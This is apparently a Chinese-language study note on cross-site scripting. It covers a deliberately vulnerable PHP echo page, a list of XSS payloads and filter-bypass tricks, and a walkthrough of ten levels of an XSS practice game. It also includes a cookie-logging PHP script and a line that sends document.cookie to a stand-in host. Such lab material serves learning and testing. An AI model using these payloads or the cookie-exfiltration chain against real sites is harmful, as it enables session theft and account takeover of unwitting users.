XSS----payload,繞過,xss小遊戲記錄

一.XSS

**1.原理:**攻擊者把惡意的腳本代碼注入到網頁中,等待其餘用戶瀏覽 這些網頁(或觸發其餘條件),從而執行其中的惡意代碼。 1.xss實例代碼: test.htmljavascript

<!DOCTYPE html>
<head>
<title>xss_test</title>
</head>
<body>
	<form action="xss.php" method="post">
		請輸入你的名字<br>
		<input type="text" name="name">
		<input type="submit" value="提交">
	</form>
</body>
</html>

xss.phpphp

<!DOCTYPE html>

<head>
<meta charset="utf-8">
<title>測試結果</title>
</head>
<body>
	<?php
	echo $_POST['name'];
	?>	
</body>
</html>

得到cookie 腳本 cookie.phphtml

<?php
$cookie = $_GET['cookie']."\n";
$cookie_f = fopen('cookie.txt','a');
fwrite($cookie_f,$cookie);
fclose($cookie_f);
?>

xss.jsjava

<script>window.open('http://www.test.com/cookie.php?cookie='+document.cookie)</script>

xss分爲3類 反射型xss 存儲型xss dom型xss瀏覽器

2.xss的payload

<!-- 基本類型-->
<script >alert('xss')</script>
<script >alert("xss")</script>
<script >alert(/xss/)</script>
<script >alert('xss');</script>
<!--      利用javascript僞協議     -->

<iframe src=javascript:alert('xss') ></iframe>
---------------------------------
<a href=javascript:alert('xss')>xxx</a>
兩個a標籤之間要加東西,否則看不到點擊的地方
<!--     利用基本事件    -->
<img src="x" onerror= alert('xss')> //圖片未找到
<img src="x" onload= alert('xss')>  //圖片正常顯示
<img src="x" onclick= alert('xss')>
事件 含義
onclick 鼠標單擊
onchange 內容發生改變
onerror 圖片等未找到時
onload 頁面加載
onmouseover 鼠標懸停
onmouseout 鼠標移出
onmousemove 鼠標路過
onchange 用在 input 標籤
<input type="text" onchange=alert('xss')>

3.xss 的一些繞過

--標籤的屬性支持javascript:[code]僞協議cookie

利用空字符
經常使用字符:【空格】【回車】【Tab】鍵位符
應用場景:對JavaScript關鍵字過了過濾

-- 擾亂過濾規則dom

1)大小寫混合
<sCRipt>alert('xss')</script>
2)引號的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
4)雙寫
<scr<script>ipt>alert(1111)</scr</script>ipt>

小tipsxss

%0a用作換行使的input標籤語法正確,主要是由於過濾了「>」
//  js的註釋

二.實戰xss挑戰之旅

1.第一題(無過濾措施)

首先在地址後輸入咱們最基本的payload,彈窗 還能夠post

利用 iframe 標籤的的 src 屬性來彈窗
<iframe src=javascript:alert('xss')></iframe>

利用標籤的 href 屬性來彈窗
<a href=javascript:alert('xss')>ggtest</a>
這裏就是超連接到了:javascript:alert('xss')
效果和瀏覽器直接打開這個地址:javascript:alert('xss')是同樣的
這裏還能夠使用:javascript:alert(document.cookie) 來彈出當前會話的 cookie

img標籤來彈窗
<img src=1 onerror=alert('xss')>

2.第二題

在次嘗試輸入基本的payload,看到沒有測試

右鍵查看源代碼,搜索咱們剛輸入的東西,看過濾了什麼 唄代碼複製出來,構造payload,在input 標籤裏,首先想到onchange事件

<input name=keyword  value="<script >alert('xss')</script>">

" onchange =alert(111) <"

還能夠

"><script>alert(222)</script> <"

3.第三關

同樣操做,看源代碼,構造payload 過濾了尖括號 " onchange=alert(1111) /<"

' onchange='alert(/111/)

這個剛學到的,可能對< " 過濾有幫助 ' onclick=alert(1)%0a
%0a用作換行使的input標籤語法正確,主要是由於過濾了「>」。

4.第四關

<input name=keyword  value="111">
" onchange=alert(555)<"

5.第五關

過濾了script 還過濾了on事件 只能利用javascript僞協議

"><a href=javascript:alert(111)>

6.第六關

基本全過濾 嘗試大小寫繞過

"><img sRc=x onError="alert(/xss/)

這樣還不行,看源碼,on過濾,試了一下on大寫,成功

"><img sRc=x OnError="alert(/xss/)

7.第七關

<input name=keyword  value="456">
嘗試如下
<input name=keyword  value="" Onchange=alert(123) id="">

不行,過濾on想到用僞協議 想到僞協議的繞過tab 空格 仍是不行,尷尬,看上邊過濾是直接把on消失,試試複寫。

" Oonnchange=alert(123) id="

第八關

</center><center><BR><a href="1111">友情連接</a></center><center><img src=level8.jpg></center>

a標籤,href直接使用僞協議

javascript:alert(1111)

嘗試tab | 按鍵 | url編碼|
| :-------- | --------:| | tab | %09 | |enter|%0A| |space|%20| --又有一方法 html10進制編碼payload

第九關

嘗試僞協議

並無彈,應該是/問題,這有一個思路是把http://放到alert裏

javascri	pt:alert('http://')
//tab

編碼

第十關

一臉懵逼,沒有輸入輸出點啊 仍是沒有輸出點,經過觀察發現有3個隱藏的輸入input,構造下看看有沒有輸出

http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=3

發現t_sort參數有東西,竊喜。。

<input name="t_sort"  value="3" type="hidden">
構造
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmousemove=alert(111) id="

~繞過hidden屬性的影響

http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmosemove=alert(111) type="text"

相關文章
相關標籤/搜索